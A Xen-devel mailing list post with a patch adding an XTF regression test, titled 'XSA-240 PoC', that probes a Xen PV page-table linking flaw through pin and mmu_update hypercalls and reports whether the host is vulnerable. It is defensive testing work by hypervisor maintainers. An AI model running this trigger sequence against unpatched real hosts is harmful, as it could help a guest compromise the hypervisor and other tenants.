[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[Xen-devel] [PATCH XTF] XSA-240 PoC



Derived and extended from Jann Horn's original Linux PoC.

Signed-off-by: Jan Beulich <jbeulich@xxxxxxxx>

--- /dev/null
+++ b/tests/xsa-240/Makefile
@@ -0,0 +1,9 @@
+include $(ROOT)/build/common.mk
+
+NAME      := xsa-240
+CATEGORY  := xsa
+TEST-ENVS := $(PV_ENVIRONMENTS)
+
+obj-perenv += main.o
+
+include $(ROOT)/build/gen.mk
--- /dev/null
+++ b/tests/xsa-240/main.c
@@ -0,0 +1,165 @@
+/**
+ * @file tests/xsa-240/main.c
+ * @ref test-xsa-240
+ *
+ * @page test-xsa-240 XSA-240
+ *
+ * Advisory: [XSA-240](http://xenbits.xen.org/xsa/advisory-240.html)
+ *
+ * @todo Docs for test-xsa-240
+ *
+ * @see tests/xsa-240/main.c
+ */
+#include <xtf.h>
+
+#include <arch/pagetable.h>
+#include <arch/symbolic-const.h>
+
+const char test_title[] = "XSA-240 PoC";
+
+int hypercall_pin_table(unsigned int level, void *va)
+{
+    mmuext_op_t op = {
+        .cmd = MMUEXT_PIN_L1_TABLE + level - 1,
+        .arg1.mfn = virt_to_mfn(va),
+    };
+
+    return hypercall_mmuext_op(&op, 1, NULL, DOMID_SELF);
+}
+
+int hypercall_unpin_table(void *va)
+{
+    mmuext_op_t op = {
+        .cmd = MMUEXT_UNPIN_TABLE,
+        .arg1.mfn = virt_to_mfn(va),
+    };
+
+    return hypercall_mmuext_op(&op, 1, NULL, DOMID_SELF);
+}
+
+void test_main(void)
+{
+    static intpte_t parent[L2_PT_ENTRIES] __page_aligned_bss;
+    static intpte_t child[L2_PT_ENTRIES] __page_aligned_bss;
+    static intpte_t extra[L2_PT_ENTRIES] __page_aligned_bss;
+    unsigned int level, n[CONFIG_PAGING_LEVELS + 1] = { };
+#if CONFIG_PAGING_LEVELS > 3
+    unsigned int max_level = CONFIG_PAGING_LEVELS;
+#else
+    unsigned int max_level = 2;
+#endif
+    int rc;
+
+    rc = hypercall_update_va_mapping(_u(parent),
+                                     pte_from_virt(parent, PF_SYM(AD, P)),
+                                     UVMF_INVLPG);
+    if ( rc )
+        return xtf_error("Failed to remap parent pt as read-only: %d\n", rc);
+
+    rc = hypercall_update_va_mapping(_u(child),
+                                     pte_from_virt(child, PF_SYM(AD, P)),
+                                     UVMF_INVLPG);
+    if ( rc )
+        return xtf_error("Failed to remap child pt as read-only: %d\n", rc);
+
+    rc = hypercall_update_va_mapping(_u(extra),
+                                     pte_from_virt(extra, PF_SYM(AD, P)),
+                                     UVMF_INVLPG);
+    if ( rc )
+        return xtf_error("Failed to remap extra pt as read-only: %d\n", rc);
+
+    for ( level = 2; ; ++level )
+    {
+        mmu_update_t mu;
+
+        rc = hypercall_pin_table(level, parent);
+        if ( rc )
+            return xtf_error("Failed to pin parent pt as L%u: %d\n", rc, 
level);
+        rc = hypercall_pin_table(level, child);
+        if ( rc )
+            return xtf_error("Failed to pin child pt as L%u: %d\n", rc, level);
+        rc = hypercall_pin_table(level, extra);
+        if ( rc )
+            return xtf_error("Failed to pin extra pt as L%u: %d\n", rc, level);
+
+        /* Put child into parent. */
+        mu.ptr = virt_to_maddr(parent) | MMU_NORMAL_PT_UPDATE;
+        mu.val = virt_to_maddr(child) | PF_SYM(AD, P);
+        rc = hypercall_mmu_update(&mu, 1, NULL, DOMID_SELF);
+        if ( rc )
+            return xtf_error("Failed to link child L%u pt: %d\n", rc, level);
+
+        /* Put parent into extra; this should fail. */
+        mu.ptr = virt_to_maddr(extra) | MMU_NORMAL_PT_UPDATE;
+        mu.val = virt_to_maddr(parent) | PF_SYM(AD, P);
+        rc = hypercall_mmu_update(&mu, 1, NULL, DOMID_SELF);
+        if ( !rc )
+        {
+            ++n[level];
+            mu.val = 0;
+            rc = hypercall_mmu_update(&mu, 1, NULL, DOMID_SELF);
+            if ( rc )
+                return xtf_error("Failed to unlink parent L%u pt: %d\n", rc, 
level);
+        }
+
+        /* Put extra into child; this too should fail. */
+        mu.ptr = virt_to_maddr(child) | MMU_NORMAL_PT_UPDATE;
+        mu.val = virt_to_maddr(extra) | PF_SYM(AD, P);
+        rc = hypercall_mmu_update(&mu, 1, NULL, DOMID_SELF);
+        if ( !rc )
+            ++n[level];
+
+        /* Put parent into child; this should fail as well. */
+        mu.val = virt_to_maddr(parent) | PF_SYM(AD, P);
+        rc = hypercall_mmu_update(&mu, 1, NULL, DOMID_SELF);
+        if ( !rc )
+            ++n[level];
+
+        if ( n[level] )
+        {
+            xtf_failure("Fail: L%u vulnerable to XSA-240 (%u)\n",
+                        level, n[level]);
+            n[0] += n[level];
+        }
+
+        /* Leave things for domain_relinquish_resources() to clean up. */
+        if ( level == max_level )
+            break;
+
+        /* Unhook whatever child now has in its first slot. */
+        mu.val = 0;
+        rc = hypercall_mmu_update(&mu, 1, NULL, DOMID_SELF);
+        if ( rc )
+            return xtf_error("Failed to unlink extra/parent L%u pt: %d\n",
+                             rc, level);
+
+        /* Unhook child from parent's first slot. */
+        mu.ptr = virt_to_maddr(parent) | MMU_NORMAL_PT_UPDATE;
+        rc = hypercall_mmu_update(&mu, 1, NULL, DOMID_SELF);
+        if ( rc )
+            return xtf_error("Failed to unlink child L%u pt: %d\n", rc, level);
+
+        rc = hypercall_unpin_table(extra);
+        if ( rc )
+            return xtf_error("Failed to unpin extra L%u pt: %d\n", rc, level);
+        rc = hypercall_unpin_table(child);
+        if ( rc )
+            return xtf_error("Failed to unpin child L%u pt: %d\n", rc, level);
+        rc = hypercall_unpin_table(parent);
+        if ( rc )
+            return xtf_error("Failed to unpin parent L%u pt: %d\n", rc, level);
+    }
+
+    if ( !n[0] )
+        xtf_success("Success: Not vulnerable to XSA-240\n");
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */




_______________________________________________
Xen-devel mailing list
Xen-devel@xxxxxxxxxxxxxxxxxxxx
https://lists.xenproject.org/mailman/listinfo/xen-devel

 


Rackspace

Lists.xenproject.org is hosted with RackSpace, monitoring our
servers 24x7x365 and backed by RackSpace's Fanatical Support®.